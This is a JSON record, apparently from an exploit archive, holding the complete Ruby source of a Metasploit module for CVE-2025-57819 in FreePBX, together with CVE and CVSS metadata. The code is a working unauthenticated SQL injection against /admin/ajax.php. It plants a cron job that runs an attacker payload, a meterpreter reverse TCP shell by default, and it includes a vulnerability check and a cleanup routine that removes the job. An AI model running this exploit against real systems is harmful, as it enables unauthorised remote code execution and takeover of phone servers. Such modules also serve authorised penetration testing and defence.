{"exploit":{"id":"MSF-unix--http--freepbx_unauth_sqli_to_rce","name":"FreePBX ajax.php unauthenticated SQLi to RCE","description":"This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89, and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing remote code execution on the target system.","cves":["CVE-2025-57819"],"author":"Echo_Slow, Piotr Bazydlo, Sonny","published":"2025-08-28","platform":"Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb","path":"modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"freepbx_unauth_sqli_to_rce.rb","vulnerabilities":[{"id":"CVE-2025-57819","state":"PUBLISHED","title":"FreePBX Affected by Authentication Bypass Leading to SQL Injection and RCE","titleSource":"CVE Program","description":"FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17 endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation and remote code execution. This issue has been patched in endpoint versions 15.0.66, 16.0.89, and 17.0.3.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-57819","cvss":{"version":"4.0","baseScore":10,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-57819"},"updatedAt":"2026-02-26T17:47:51.014Z","retrievedAt":"2026-11-25T16:13:33.979Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-unix--http--freepbx_unauth_sqli_to_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-unix--http--freepbx_unauth_sqli_to_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-unix--http--freepbx_unauth_sqli_to_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-unix--http--freepbx_unauth_sqli_to_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'FreePBX ajax.php unauthenticated SQLi to RCE',\n        'Description' => %q{\n          This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,\n          and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without\n          authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing\n          remote code execution on the target system.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Echo_Slow', # msf module\n          'Piotr Bazydlo', # POC used as a template\n          'Sonny' # POC used as a template\n        ],\n        'References' => [\n          ['CVE', '2025-57819'],\n          ['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/']\n        ],\n        'Platform' => ['linux'],\n        'Arch' => ARCH_CMD,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'DefaultOptions' =>\n              {\n                'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',\n                'WfsDelay' => 70 # cronjob may take up to a minute to start\n              }\n            }\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2025-08-28',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new(\n          'TARGETURI',\n          [false, 'The URI for the FreePBX installation', '/']\n        )\n      ]\n    )\n  end\n\n  def check\n    print_status('Checking if vulnerable...')\n\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),\n      'vars_get' => {\n        'module' => 'FreePBX\\\\modules\\\\endpoint\\\\ajax',\n        'command' => 'model',\n        'template' => Rex::Text.rand_text_alphanumeric(3..6),\n        'model' => Rex::Text.rand_text_alphanumeric(3..6),\n        'brand' => \"#{Rex::Text.rand_text_alphanumeric(3..6)}'\"\n      }\n    )\n\n    if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/\n      return Exploit::CheckCode::Vulnerable('Detected SQL injection')\n    end\n\n    Exploit::CheckCode::Safe('No SQL injection detected, target is patched')\n  end\n\n  def exploit\n    module_name = Rex::Text.rand_text_alpha(4..7)\n    @job_name = Rex::Text.rand_text_alpha(4..7)\n\n    rce_payload = Rex::Text.rand_text_alpha(4..7)\n    rce_payload << \"';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\"\n    rce_payload << \" VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- \"\n\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),\n      'vars_get' => {\n        'module' => 'FreePBX\\\\modules\\\\endpoint\\\\ajax',\n        'command' => 'model',\n        'template' => Rex::Text.rand_text_alphanumeric(3..6),\n        'model' => Rex::Text.rand_text_alphanumeric(3..6),\n        'brand' => rce_payload\n      }\n    )\n\n    if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/\n      print_good(\"Created cronjob with job name: '#{@job_name}'\")\n      print_status('Waiting for cronjob to trigger...')\n    else\n      fail_with(Failure::PayloadFailed, 'Cronjob was not created.')\n    end\n  end\n\n  def cleanup\n    super\n\n    return unless @job_name\n\n    # Remove the created cronjob\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),\n      'vars_get' => {\n        'module' => 'FreePBX\\\\modules\\\\endpoint\\\\ajax',\n        'command' => 'model',\n        'template' => Rex::Text.rand_text_alphanumeric(3..6),\n        'model' => Rex::Text.rand_text_alphanumeric(3..6),\n        'brand' => \"'; DELETE FROM cron_jobs WHERE jobname=\\'#{@job_name}\\' -- \"\n      }\n    )\n\n    print_status('Attempting to perform cleanup')\n\n    if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/\n      print_good('Cronjob removed, happy hacking!')\n    else\n      print_bad('Cronjob not removed, please perform manual cleanup!')\n    end\n  end\nend\n","sha256":"56939f9c39730b0d510d29cff2898d825d5b97f66faec9bee7e8f983a648650a","bytes":4738,"fetchedAt":"2026-11-26T08:53:31.474Z","encoding":"utf-8 (display only; download retains original bytes)"}